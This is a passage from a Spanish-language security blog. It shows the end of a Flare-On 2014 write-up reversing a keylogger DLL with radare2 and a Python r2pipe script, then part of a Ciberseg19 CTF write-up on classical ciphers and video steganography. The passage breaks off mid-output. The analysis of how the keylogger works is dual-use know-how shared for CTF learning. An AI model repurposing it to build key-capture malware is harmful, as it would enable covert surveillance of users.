          <td>0x10013430</td>
          <td>1</td>
          <td>22</td>
          <td>fcn.10013430</td>
      </tr>
      <tr>
          <td>0x1001345c</td>
          <td>13</td>
          <td>184</td>
          <td>fcn.1001345c</td>
      </tr>
      <tr>
          <td>0x10013674</td>
          <td>1</td>
          <td>6</td>
          <td>sub.KERNEL32.dll_RtlUnwind_674</td>
      </tr>
  </tbody>
</table>
<p>Si ordenamos esta tabla por tamaño, tomando únicamente los 10 primeros lugares tendríamos algo como lo siguiente:</p>
<table>
  <thead>
      <tr>
          <th>address</th>
          <th>nbbs</th>
          <th>size</th>
          <th>name</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>0x1000d04f</td>
          <td>234</td>
          <td>2953</td>
          <td>sub.KERNEL32.dll_DecodePointer_4f</td>
      </tr>
      <tr>
          <td>0x1000f831</td>
          <td>144</td>
          <td>1844</td>
          <td>sub.KERNEL32.dll_CreateFileA_831</td>
      </tr>
      <tr>
          <td>0x1000e90b</td>
          <td>99</td>
          <td>1789</td>
          <td>sub.KERNEL32.dll_GetConsoleMode_90b</td>
      </tr>
      <tr>
          <td>0x100120a1</td>
          <td>137</td>
          <td>1463</td>
          <td>sub.KERNEL32.dll_ReadFile_a1</td>
      </tr>
      <tr>
          <td>0x10001240</td>
          <td>1</td>
          <td>1024</td>
          <td>fcn.10001240</td>
      </tr>
      <tr>
          <td>0x10012a39</td>
          <td>3</td>
          <td>887</td>
          <td>fcn.10012a39</td>
      </tr>
      <tr>
          <td>0x1000be0e</td>
          <td>74</td>
          <td>663</td>
          <td>sub.UTF_8_e0e</td>
      </tr>
      <tr>
          <td>0x1000bb76</td>
          <td>49</td>
          <td>581</td>
          <td>sub.KERNEL32.dll_GetStartupInfoW_b76</td>
      </tr>
      <tr>
          <td>0x10010049</td>
          <td>59</td>
          <td>516</td>
          <td>fcn.10010049</td>
      </tr>
      <tr>
          <td>0x100112b8</td>
          <td>37</td>
          <td>489</td>
          <td>sub.KERNEL32.dll_IsValidCodePage_2b8</td>
      </tr>
  </tbody>
</table>
<p>Analicemos esas tres funciones muy grandes que no están identificadas:</p>
<blockquote>
<p>Se omiten las variables de inicio y se reduce el font para poder tener mayor visibilidad:</p>
</blockquote>
<p><img src="/img/flareon2014-c5/pdf-10001240.png" alt="pdf de 10001240"></p>
<p>Vaya vaya, parece que aquí se esta cargando algo en el stack&hellip; mas aun se nota el texto de Flare-On. Desgraciadamente pdf no logro identificar el tamaño completo de la función, pero eso se puede resolver ampliando el bloque:</p>
<p><img src="/img/flareon2014-c5/pd5552-10001240.png" alt="pd5552 de 10001240"></p>
<p>Rango: 0x10001240 - 0x10009335</p>
<p>Esta función no recibe nada ni devuelve nada, pero lo que si es que algo hace porque podemos ver claramente en la imagen la palabra flare-on mientras se sube al stack.</p>
<p>Ahora bien, este podría ser nuestro destino final en caso de éxito, es decir, el win msg. Tomare esto como valido y continuare viendo como llegar hasta aquí&hellip;</p>
<p>Para ello lo primero seria ver que funciones llaman a esta función, para ello ubicaremos cuales son las referencias cruzadas e iremos de función en función.</p>
<p><img src="/img/flareon2014-c5/axg-10001240.png" alt="xref 0x10001240"></p>
<p>Como podemos observar, fnc 0x10009af0 es la primera y única función que llama a 0x10001240, veamos su contenido:</p>
<p><img src="/img/flareon2014-c5/pdf-10009af0.png" alt="pdf 0x10009af0"></p>
<p>Tenemos una comparación a 0 en 0x100194fc, que en caso de ser mayor a 0, llama a la función winmsg, pero antes va a llamar a otra función, fcn 0x10001060. Veamos que hay en esta función previa:</p>
<p><img src="/img/flareon2014-c5/pd25-10001060.png" alt="pd25 @ 0x10009af0"></p>
<p>Esta función como podemos observar se encarga de colocar las equivalencias de esas ubicaciones a 0, como alguna especie de controlador/limpiador. Observamos que tiene 91 referencias! He inclusive por su tamaño no pude extraer toda la función, pero debido a que solo se encarga de inicializar/limpiar (no recibe ni devuelve nada), decidí colocarlo en la siguiente tabla:</p>
<table>
  <thead>
      <tr>
          <th>#</th>
          <th>Address</th>
          <th>Value</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>01</td>
          <td>0x10017000</td>
          <td>1</td>
      </tr>
      <tr>
          <td>02</td>
          <td>0x10019460</td>
          <td>0</td>
      </tr>
      <tr>
          <td>03</td>
          <td>0x10019464</td>
          <td>0</td>
      </tr>
      <tr>
          <td>04</td>
          <td>0x10019468</td>
          <td>0</td>
      </tr>
      <tr>
          <td>05</td>
          <td>0x1001946c</td>
          <td>0</td>
      </tr>
      <tr>
          <td>06</td>
          <td>0x10019470</td>
          <td>0</td>
      </tr>
      <tr>
          <td>07</td>
          <td>0x10019474</td>
          <td>0</td>
      </tr>
      <tr>
          <td>08</td>
          <td>0x10019478</td>
          <td>0</td>
      </tr>
      <tr>
          <td>09</td>
          <td>0x1001947c</td>
          <td>0</td>
      </tr>
      <tr>
          <td>10</td>
          <td>0x10019480</td>
          <td>0</td>
      </tr>
      <tr>
          <td>11</td>
          <td>0x10019484</td>
          <td>0</td>
      </tr>
      <tr>
          <td>12</td>
          <td>0x10019488</td>
          <td>0</td>
      </tr>
      <tr>
          <td>13</td>
          <td>0x1001948c</td>
          <td>0</td>
      </tr>
      <tr>
          <td>14</td>
          <td>0x10019490</td>
          <td>0</td>
      </tr>
      <tr>
          <td>15</td>
          <td>0x10019494</td>
          <td>0</td>
      </tr>
      <tr>
          <td>16</td>
          <td>0x10019498</td>
          <td>0</td>
      </tr>
      <tr>
          <td>17</td>
          <td>0x1001949c</td>
          <td>0</td>
      </tr>
      <tr>
          <td>18</td>
          <td>0x100194a0</td>
          <td>0</td>
      </tr>
      <tr>
          <td>19</td>
          <td>0x100194a4</td>
          <td>0</td>
      </tr>
      <tr>
          <td>20</td>
          <td>0x100194a8</td>
          <td>0</td>
      </tr>
      <tr>
          <td>21</td>
          <td>0x100194ac</td>
          <td>0</td>
      </tr>
      <tr>
          <td>22</td>
          <td>0x100194b0</td>
          <td>0</td>
      </tr>
      <tr>
          <td>23</td>
          <td>0x100194b4</td>
          <td>0</td>
      </tr>
      <tr>
          <td>24</td>
          <td>0x100194b8</td>
          <td>0</td>
      </tr>
      <tr>
          <td>25</td>
          <td>0x100194bc</td>
          <td>0</td>
      </tr>
      <tr>
          <td>26</td>
          <td>0x100194c0</td>
          <td>0</td>
      </tr>
      <tr>
          <td>27</td>
          <td>0x100194c4</td>
          <td>0</td>
      </tr>
      <tr>
          <td>28</td>
          <td>0x100194c8</td>
          <td>0</td>
      </tr>
      <tr>
          <td>29</td>
          <td>0x100194cc</td>
          <td>0</td>
      </tr>
      <tr>
          <td>30</td>
          <td>0x100194d0</td>
          <td>0</td>
      </tr>
      <tr>
          <td>31</td>
          <td>0x100194d4</td>
          <td>0</td>
      </tr>
      <tr>
          <td>32</td>
          <td>0x100194d8</td>
          <td>0</td>
      </tr>
      <tr>
          <td>33</td>
          <td>0x100194dc</td>
          <td>0</td>
      </tr>
      <tr>
          <td>34</td>
          <td>0x100194e0</td>
          <td>0</td>
      </tr>
      <tr>
          <td>35</td>
          <td>0x100194e4</td>
          <td>0</td>
      </tr>
      <tr>
          <td>36</td>
          <td>0x100194e8</td>
          <td>0</td>
      </tr>
      <tr>
          <td>37</td>
          <td>0x100194ec</td>
          <td>0</td>
      </tr>
      <tr>
          <td>38</td>
          <td>0x100194f0</td>
          <td>0</td>
      </tr>
      <tr>
          <td>39</td>
          <td>0x100194f4</td>
          <td>0</td>
      </tr>
      <tr>
          <td>40</td>
          <td>0x100194f8</td>
          <td>0</td>
      </tr>
      <tr>
          <td>41</td>
          <td>0x100194fc</td>
          <td>0</td>
      </tr>
      <tr>
          <td>42</td>
          <td>0x10019500</td>
          <td>0</td>
      </tr>
  </tbody>
</table>
<p>Prestando atención al penúltimo resultado, podemos observar que es el valor que hemos evaluado durante la comparación en fcn 0x10009af0, veamos de que manera si podemos escribirlo buscando la referencia hacia esta dirección:</p>
<p><img src="/img/flareon2014-c5/axt-100194fc.png" alt="axt 0x100194fc"></p>
<p>Como podemos ver, estan las dos funciones que acabamos de explorar, mas una tercera, fcn 0x10009b60, que se encarga de almacenar un 1, justo como buscamos romper el if.</p>
<p><img src="/img/flareon2014-c5/pdf-10009b60.png" alt="pdf @ 0x10009b60"></p>
<p>Tuve nuevamente que reducir el tamaño de fuente para poder tomar la captura.</p>
<p>Bueno, como podemos apreciar, esta función tiene varias cosas diferentes y a la vez comunes con la función anterior. La primera cosa en común es que también es llamada desde sub.USER32.dll_GetAsyncKeyState_10009eb0, presenta un compare, luego set a 0 y finalmente un set a 1 para activar el siguiente flujo o brinco a función.</p>
<p>Su característica principal, es que pareciera que tenemos varios if concatenados, siendo precisos unos 5 cmp, que si ninguno tiene la flag activada, pone en 0 la flag actual y levanta la siguiente. Pero todos los caminos conducen a roma, es decir, todas las comparaciones al final devuelve &ldquo;o&rdquo;.</p>
<p>La función anterior (0x10009af0) devolvía &ldquo;m&rdquo;, por lo que sea lo que sea GetAsyncKeyState, esta recibiendo estos valores char cuando llama a las funciones.</p>
<p><a href="https://docs.microsoft.com/en-us/windows/desktop/api/winuser/nf-winuser-getasynckeystate">GetAsyncKeyState</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-C" data-lang="C"><span style="display:flex;"><span>SHORT <span style="color:#a6e22e">GetAsyncKeyState</span>(
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">int</span> vKey
</span></span><span style="display:flex;"><span>);
</span></span></code></pre></div><p>Esta función básicamente recibe la tecla a evaluar y nos devuelve si fue o esta siendo presionada.</p>
<p>Ok, veamos que hace la función sub.USER32.dll_GetAsyncKeyState_10009eb0:</p>
<p><img src="/img/flareon2014-c5/pdf1-10009eb0.png" alt="pdf @ sub.USER32.dll_GetAsyncKeyState_10009eb0"></p>
<p>El primer vistazo, nos revela muchos jumps, inclusive estamos hablando de un switch case, lo cual seria el tipo de loop adecuado para esto.</p>
<p>Las primeras 3 instrucciones corresponden al stack frame de 8 direcciones, las siguientes 11 instrucciones, desde <em>mov eax, 8</em> hasta <em>cmp edx, 0xde</em> son las condicionales que nos haran mantenernos dentro de un loop de switch case, básicamente desde 8 hasta 222.</p>
<p><img src="/img/flareon2014-c5/pdf2-10009eb0.png" alt="pdf @ sub.USER32.dll_GetAsyncKeyState_10009eb0"></p>
<p>Como podemos ver, cuando se rompe el loop, se retorna 0 y termina la función.</p>
<p>Veamos que sucede dentro de este switch:</p>
<p><img src="/img/flareon2014-c5/pdf3-10009eb0.png" alt="pdf @ sub.USER32.dll_GetAsyncKeyState_10009eb0"></p>
<p>Después de la evaluación inicial, el counter es pasado como argumento a GetAsyncKeyState, es decir si local_4h vale 0x2b, se evaluara si la tecla &lsquo;*&rsquo; fue presionada. Ese valor es compartido (tecla presionada ahora o antes) y se compara en el switch, si es no es igual, se va al caso ultimo, si es igual llama a la función correspondiente y brinca hacia el final (0x1000a3a6). En pocas palabras si la tecla &ldquo;A&rdquo; o la que sea es presionada, su función correspondiente es llamada.</p>
<p>Esto implica que nosotros controlamos el valor de las flags, presionándolas en el orden correcto debemos llegar a llamar a la función bandera (0x10001240).</p>
<p>Entonces ya que hemos entendido hagamos el reverso de cada letra presionada mediante el siguiente burdo script en python:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python</span>
</span></span><span style="display:flex;"><span>  
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> r2pipe<span style="color:#f92672">,</span> os
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>keys <span style="color:#f92672">=</span> [<span style="color:#e6db74">&#34;0x10017000&#34;</span>,<span style="color:#e6db74">&#34;0x10019460&#34;</span>,<span style="color:#e6db74">&#34;0x10019464&#34;</span>,<span style="color:#e6db74">&#34;0x10019468&#34;</span>,<span style="color:#e6db74">&#34;0x1001946c&#34;</span>,<span style="color:#e6db74">&#34;0x10019470&#34;</span>,<span style="color:#e6db74">&#34;0x10019474&#34;</span>,<span style="color:#e6db74">&#34;0x10019478&#34;</span>,<span style="color:#e6db74">&#34;0x1001947c&#34;</span>,<span style="color:#e6db74">&#34;0x10019480&#34;</span>,<span style="color:#e6db74">&#34;0x10019484&#34;</span>,<span style="color:#e6db74">&#34;0x10019488&#34;</span>,<span style="color:#e6db74">&#34;0x1001948c&#34;</span>,<span style="color:#e6db74">&#34;0x10019490&#34;</span>,<span style="color:#e6db74">&#34;0x10019494&#34;</span>,<span style="color:#e6db74">&#34;0x10019498&#34;</span>,<span style="color:#e6db74">&#34;0x1001949c&#34;</span>,<span style="color:#e6db74">&#34;0x100194a0&#34;</span>,<span style="color:#e6db74">&#34;0x100194a4&#34;</span>,<span style="color:#e6db74">&#34;0x100194a8&#34;</span>,<span style="color:#e6db74">&#34;0x100194ac&#34;</span>,<span style="color:#e6db74">&#34;0x100194b0&#34;</span>,<span style="color:#e6db74">&#34;0x100194b4&#34;</span>,<span style="color:#e6db74">&#34;0x100194b8&#34;</span>,<span style="color:#e6db74">&#34;0x100194bc&#34;</span>,<span style="color:#e6db74">&#34;0x100194c0&#34;</span>,<span style="color:#e6db74">&#34;0x100194c4&#34;</span>,<span style="color:#e6db74">&#34;0x100194c8&#34;</span>,<span style="color:#e6db74">&#34;0x100194cc&#34;</span>,<span style="color:#e6db74">&#34;0x100194d0&#34;</span>,<span style="color:#e6db74">&#34;0x100194d4&#34;</span>,<span style="color:#e6db74">&#34;0x100194d8&#34;</span>,<span style="color:#e6db74">&#34;0x100194dc&#34;</span>,<span style="color:#e6db74">&#34;0x100194e0&#34;</span>,<span style="color:#e6db74">&#34;0x100194e4&#34;</span>,<span style="color:#e6db74">&#34;0x100194e8&#34;</span>,<span style="color:#e6db74">&#34;0x100194ec&#34;</span>,<span style="color:#e6db74">&#34;0x100194f0&#34;</span>,<span style="color:#e6db74">&#34;0x100194f4&#34;</span>,<span style="color:#e6db74">&#34;0x100194f8&#34;</span>,<span style="color:#e6db74">&#34;0x100194fc&#34;</span>,<span style="color:#e6db74">&#34;0x10019500&#34;</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>flag <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> os<span style="color:#f92672">.</span>path<span style="color:#f92672">.</span>isfile(<span style="color:#e6db74">&#34;5get_it&#34;</span>):
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    r2 <span style="color:#f92672">=</span> r2pipe<span style="color:#f92672">.</span>open(<span style="color:#e6db74">&#34;5get_it&#34;</span>)
</span></span><span style="display:flex;"><span>    r2<span style="color:#f92672">.</span>cmd(<span style="color:#e6db74">&#34;aaaa&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> key <span style="color:#f92672">in</span> keys:
</span></span><span style="display:flex;"><span>        xrefs <span style="color:#f92672">=</span> r2<span style="color:#f92672">.</span>cmdj(<span style="color:#e6db74">&#34;axtj &#34;</span> <span style="color:#f92672">+</span> key)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">for</span> xref <span style="color:#f92672">in</span> xrefs:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> xref[<span style="color:#e6db74">&#34;opcode&#34;</span>] <span style="color:#f92672">==</span> <span style="color:#e6db74">&#34;mov dword [&#34;</span> <span style="color:#f92672">+</span> key <span style="color:#f92672">+</span> <span style="color:#e6db74">&#34;], 1&#34;</span>:
</span></span><span style="display:flex;"><span>                fcn_called <span style="color:#f92672">=</span> r2<span style="color:#f92672">.</span>cmdj(<span style="color:#e6db74">&#34;pdfj@&#34;</span> <span style="color:#f92672">+</span> xref[<span style="color:#e6db74">&#34;fcn_name&#34;</span>])
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">for</span> eax_ret <span style="color:#f92672">in</span> fcn_called[<span style="color:#e6db74">&#34;ops&#34;</span>]:
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">if</span> <span style="color:#e6db74">&#34;mov eax, 0x100&#34;</span> <span style="color:#f92672">in</span> eax_ret[<span style="color:#e6db74">&#34;disasm&#34;</span>]:
</span></span><span style="display:flex;"><span>                        flag <span style="color:#f92672">+=</span> r2<span style="color:#f92672">.</span>cmd(<span style="color:#e6db74">&#34;pr 1 @ &#34;</span> <span style="color:#f92672">+</span> eax_ret[<span style="color:#e6db74">&#34;disasm&#34;</span>]<span style="color:#f92672">.</span>split(<span style="color:#e6db74">&#34;,&#34;</span>)[<span style="color:#ae81ff">1</span>])
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>r2<span style="color:#f92672">.</span>quit()
</span></span><span style="display:flex;"><span>print flag
</span></span></code></pre></div><p>La salida del comando nos devuelve el string:</p>
<blockquote>
<p>l0ggingdoturdot5tr0ke5atflaredashondotco</p>
</blockquote>
<p>La letra faltante, &ldquo;m&rdquo;, se devuelve a la salida del la función de reseteo.</p>
<p>Validemos el DLL contra yara rules:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/flare-on2014/challenge05$ yara ~/git/rules/Antidebug_AntiVM_index.yar 5get_it
</span></span><span style="display:flex;"><span>anti_dbg 5get_it
</span></span><span style="display:flex;"><span>keylogger 5get_it
</span></span><span style="display:flex;"><span>win_registry 5get_it
</span></span><span style="display:flex;"><span>win_files_operation 5get_it
</span></span></code></pre></div><p>Vemos que da positivo contra tecnicas de antidbg, keylogger, win_registry y win_files_operation. Por ello crearemos un prefix de wine en donde ejecutemos con calma la dll.</p>
<p>Si ejecutamos el dll e ingresamos la salida del comando nos aparecerá el siguiente mensaje:</p>
<blockquote>
<p>wineconsole rundll32 5get_it</p>
</blockquote>
<p><img src="/img/flareon2014-c5/wine-win.png" alt="wineconsole rundll32 5get_it"></p>
<blockquote>
<p>Nota: La dll se ejecuta en un prefix recien creado para ser eliminado despues.</p>
</blockquote>
<p>Traduciendo al formato de la flag:</p>
<p><strong>flag: <a href="mailto:l0gging.ur.5tr0ke5@flare-on.com">l0gging.ur.5tr0ke5@flare-on.com</a></strong></p>
<hr>
<p>Espero que les haya gustado.</p>
<p>Saludos,</p>]]></content></item><item><title>Ciberseg19 - Writeups</title><link>https://www.xbyte.mx/posts/ciberseg19-writeups/</link><pubDate>Thu, 24 Jan 2019 12:54:52 -0600</pubDate><guid>https://www.xbyte.mx/posts/ciberseg19-writeups/</guid><description>&lt;p&gt;Como previo a las Jornadas de Seguridad y Ciberdefensa 2019 de la Universidad de Alcalá, se realizó un Capture The Flag (CTF) abierto al público pero con el enfoque principal a estudiantes universitarios de la UAH. La duración del CTF fue del viernes 18 a las 10:00hrs hasta el miércoles 23 a las 14:00hrs, UTC+1.&lt;/p&gt;
&lt;p&gt;Los retos estuvieron divididos en 5 categorías con una área de puntuación adicional para los que reportaran problemas en la plataforma.&lt;/p&gt;
&lt;p&gt;Los retos que llegue a resolver son los siguientes:&lt;/p&gt;</description><content type="html"><![CDATA[<p>Como previo a las Jornadas de Seguridad y Ciberdefensa 2019 de la Universidad de Alcalá, se realizó un Capture The Flag (CTF) abierto al público pero con el enfoque principal a estudiantes universitarios de la UAH. La duración del CTF fue del viernes 18 a las 10:00hrs hasta el miércoles 23 a las 14:00hrs, UTC+1.</p>
<p>Los retos estuvieron divididos en 5 categorías con una área de puntuación adicional para los que reportaran problemas en la plataforma.</p>
<p>Los retos que llegue a resolver son los siguientes:</p>
<h1 id="crypto">Crypto</h1>
<h2 id="complutum-message-15pts">Complutum message (15pts)</h2>
<p>PbzcyhgvHeovfHavirefvgnf</p>
<hr>
<h3 id="solution">Solution</h3>
<p>Ejecutando Caesar Cipher:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/crypto$ echo &#34;PbzcyhgvHeovfHavirefvgnf&#34; | tr &#39;[A-Za-z]&#39; &#39;[N-ZA-Mn-za-m]&#39;
</span></span><span style="display:flex;"><span>ComplutiUrbisUniversitas
</span></span></code></pre></div><h3 id="flag">Flag</h3>
<p>flag{ComplutiUrbisUniversitas}</p>
<h2 id="alien-message-from-xxxi-century-50pts">Alien message from XXXI century (50pts)</h2>
<p>Hemos recibido un mensaje alienígena!! ¿Nos puedes ayudar a entenderlo?</p>
<p>sha256 - alienMessage.png: 852e54e06fc4eed951ede96998fef12169c0e94cbfe6eecf20eb621eb1068748</p>
<hr>
<h3 id="solution-1">Solution</h3>
<p>Para resolver este reto, usaremos <a href="https://images.google.com">https://images.google.com</a>, en donde buscaremos la imagen y el nombre del archivo &ldquo;alien message&rdquo;.</p>
<p><img src="/img/ciberseg19/writeup2-google-images.png" alt="Google image search"></p>
<p>Como podemos ver, tenemos una coincidencia en la esquina derecha inferior, por lo que seguimos el link hasta la pagina fuente de la imagen:</p>
<blockquote>
<p><a href="http://www.computableminds.com/post/Futurama/criptography/code/encrypt/decrypt/">http://www.computableminds.com/post/Futurama/criptography/code/encrypt/decrypt/</a></p>
</blockquote>
<p>Como podemos observar, esta imagen es resultado de la critografia usada en mensajes durante la serie de futurama (guiño con el nombre del reto), por lo que usamos simplemente la siguiente imagen de conversion para descifrar la contraseña.</p>
<blockquote>
<p><a href="http://www.computableminds.com/img/futurama/futurama-lenguaje-1.gif">http://www.computableminds.com/img/futurama/futurama-lenguaje-1.gif</a></p>
</blockquote>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>______ _______ ___
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>planet express uah
</span></span></code></pre></div><h3 id="flag-1">Flag</h3>
<p>flag{planetexpressuah}</p>
<h2 id="clásica-75pts">Clásica (75pts)</h2>
<p>En la criptografía, como en la cerveza. Siempre viene bien alguna clásica:</p>
<p>sa okhbx dpejaja gc uad ei wlk tau becufwielhtkfaf effi uw sa okhbx pvmxauan ne zlm sgygjigxtbv oszvfaa fo chdohs jw btkvimdce xrhvn fo cbudls p ubyc loghmpe jw llcloedce eillscxaypfrxv hhsq k drqpqmesysg waurv gprkpcc on zlm rsmwjigxtbv oszvfaa a drrv ei gfdvr fyrngp ewgwjtq lrvomerkw f cworcr nshvjhdq nefwbge ggy sw caors wyrnl y deea hrymcairky ea epge jm hrqwa rv mmkvjv ahbugdes gff aopys sopvecwz dg vúphop psj hyipmicdmiw zfnrgnirquiw jgu lgfaqxse plhblq kghd z qeclh sqwof pvc gcszieys rq ushf hhrc va phsziqs f pcba yd dvmglvgtkfvd qsv vkv hgwof gfgmuako ootru fwxv tvnkdo ilhirvjl lc plnj fw lrurapnbrhsw ulw zop nof fpwej ibe uo lyhwer dmf bkon crs iwf vllgqaplpr siyhnkjaod fp zzsqe c va sdcvmts ke nk cruwidr</p>
<hr>
<h3 id="solution-2">Solution</h3>
<p>Para resolver este reto, primero identificamos que se trata de vigeneré cipher, por lo que usando la siguiente herramienta online, podemos hacer un ataque de fuerza bruta por analisis estadistico. Es importante mencionar que al saber que el CTF esta hecho en Español, probablemente el texto cifrado se encuentre en español. Esto tambien se puede determinar con la frecuencia de algunas palabras. Sin mas apliquemos el brute forcer:</p>
<p><a href="https://www.guballa.de/vigenere-solver">https://www.guballa.de/vigenere-solver</a></p>
<p><img src="/img/ciberseg19/vigenere-solver.png" alt="vinegere solver"></p>
<p>Texto final:</p>
<p>la mahou clasica es una de sus mas representativas bebe de la mahou original de mil ochocientos noventa de cuando se utilizaba tapon de corcho y cuya botella se elaboraba artesanalmente paso a denominarse mahou clasica en mil novecientos noventa y tres de color dorado aspecto brillante y cuerpo moderado destaca por su sabor suave y buen equilibrio en boca su aroma es ligero afrutado con tonos florales de lúpulo los principales ingredientes son levadura lupulo agua y malta somos muy clasicos en todo para la cerveza y para la criptografia por eso hemos decidido meter este bonito vigenere la flag es hackandbeers que son dos cosas que se llevan muy bien por eso delegacion organizaba el viaje a la fabrica de la cerveza</p>
<p>key: hackandbeers</p>
<h3 id="flag-2">Flag</h3>
<p>flag{hackandbeers}</p>
<h2 id="cryptography-is-not-steganography-150pts">Cryptography is not steganography (150pts)</h2>
<p>¡Que quede claro! ¡Ocultar no es cifrar!</p>
<p>Video: <a href="https://drive.google.com/open?id=13eUUK7Lk9XDgSwKPArxX54cxIMSSglOd">https://drive.google.com/open?id=13eUUK7Lk9XDgSwKPArxX54cxIMSSglOd</a></p>
<p>sha256-harder.mp4: a472ad60a557b3d7bc2c33f74f8ba17c85faf0022e306150f61d41111fb83a1c</p>
<hr>
<h3 id="solution-3">Solution</h3>
<p>Después de prestar atención al video harder.mp4, notaremos varias cosas:</p>
<ul>
<li>El audio continua después de que el video corta</li>
<li>El video mp4, contiene un stream de audio y otro de video</li>
</ul>
<p>Volviendo a observar el video veremos algo interesante, en la esquina superior izquierda vemos algo que aparece como luces de un faro.</p>
<p>Genere el siguiente programa en python para extraer el valor del pixel durante todo el video:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> cv2<span style="color:#f92672">,</span> re
</span></span><span style="display:flex;"><span><span style="color:#f92672">from</span> PIL <span style="color:#f92672">import</span> Image
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>vc <span style="color:#f92672">=</span> cv2<span style="color:#f92672">.</span>VideoCapture(<span style="color:#e6db74">&#34;harder.mp4&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">while</span>(<span style="color:#66d9ef">True</span>):
</span></span><span style="display:flex;"><span>    success, image <span style="color:#f92672">=</span> vc<span style="color:#f92672">.</span>read()
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#f92672">not</span> success: <span style="color:#66d9ef">break</span>
</span></span><span style="display:flex;"><span>    print image[<span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>vc<span style="color:#f92672">.</span>release()
</span></span><span style="display:flex;"><span>cv2<span style="color:#f92672">.</span>destroyAllWindows()
</span></span></code></pre></div><p>La salida del programe es:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/ctf-uah/crypto$ python stegnotcrypt.py
</span></span><span style="display:flex;"><span>[242 251 252]
</span></span><span style="display:flex;"><span>[ 3 12 13]
</span></span><span style="display:flex;"><span>[ 3 12 13]
</span></span><span style="display:flex;"><span>[242 251 252]
</span></span><span style="display:flex;"><span>[242 251 252]
</span></span><span style="display:flex;"><span>[ 3 12 13]
</span></span><span style="display:flex;"><span>[ 3 12 13]
</span></span><span style="display:flex;"><span>[242 251 252]
</span></span><span style="display:flex;"><span>[242 251 252]
</span></span><span style="display:flex;"><span>[ 3 12 13]
</span></span><span style="display:flex;"><span>[ 3 12 13]
</span></span><span style="display:flex;"><span>[242 251 252]
</span></span><span style="display:flex;"><span>[ 1 10 11]
</span></span><span style="display:flex;"><span>[ 1 10 11]
</span></span><span style="display:flex;"><span>[241 250 251]
</span></span><span style="display:flex;"><span>[242 251 252]
</span></span><span style="display:flex;"><span>[240 251 252]
</span></span><span style="display:flex;"><span>[ 0  9 10]
</span></span><span style="display:flex;"><span>[ 0  9 10]
</span></span><span style="display:flex;"><span>[239 250 251]
</span></span><span style="display:flex;"><span>[239 250 251]
</span></span><span style="display:flex;"><span>[239 250 251]
</span></span><span style="display:flex;"><span>[239 250 251]
</span></span><span style="display:flex;"><span>[ 0 10 11]
</span></span><span style="display:flex;"><span>[240 251 252]
</span></span><span style="display:flex;"><span>[ 0 10 11]
</span></span><span style="display:flex;"><span>[ 0 10 11]
</span></span><span style="display:flex;"><span>[240 251 252]
</span></span><span style="display:flex;"><span>[241 250 251]
</span></span><span style="display:flex;"><span>[1 8 9]
</span></span><span style="display:flex;"><span>[1 8 9]
</span></span><span style="display:flex;"><span>[1 8 9]
</span></span><span style="display:flex;"><span>[236 243 244]
</span></span><span style="display:flex;"><span>[0 5 6]
</span></span><span style="display:flex;"><span>[0 5 6]
</span></span><span style="display:flex;"><span>[0 5 6]
</span></span><span style="display:flex;"><span>[0 8 9]
</span></span><span style="display:flex;"><span>[234 244 243]
</span></span><span style="display:flex;"><span>[0 8 9]
</span></span><span style="display:flex;"><span>[0 8 9]
</span></span><span style="display:flex;"><span>[241 249 253]
</span></span><span style="display:flex;"><span>[0 8 9]
</span></span><span style="display:flex;"><span>[0 8 9]
</span></span><span style="display:flex;"><span>[242 250 254]
</span></span><span style="display:flex;"><span>[242 250 254]
</span></span><span style="display:flex;"><span>[0 8 9]
</span></span><span style="display:flex;"><span>[242 250 254]
</span></span><span style="display:flex;"><span>[243 249 253]
</span></span><span style="display:flex;"><span>[243 249 253]
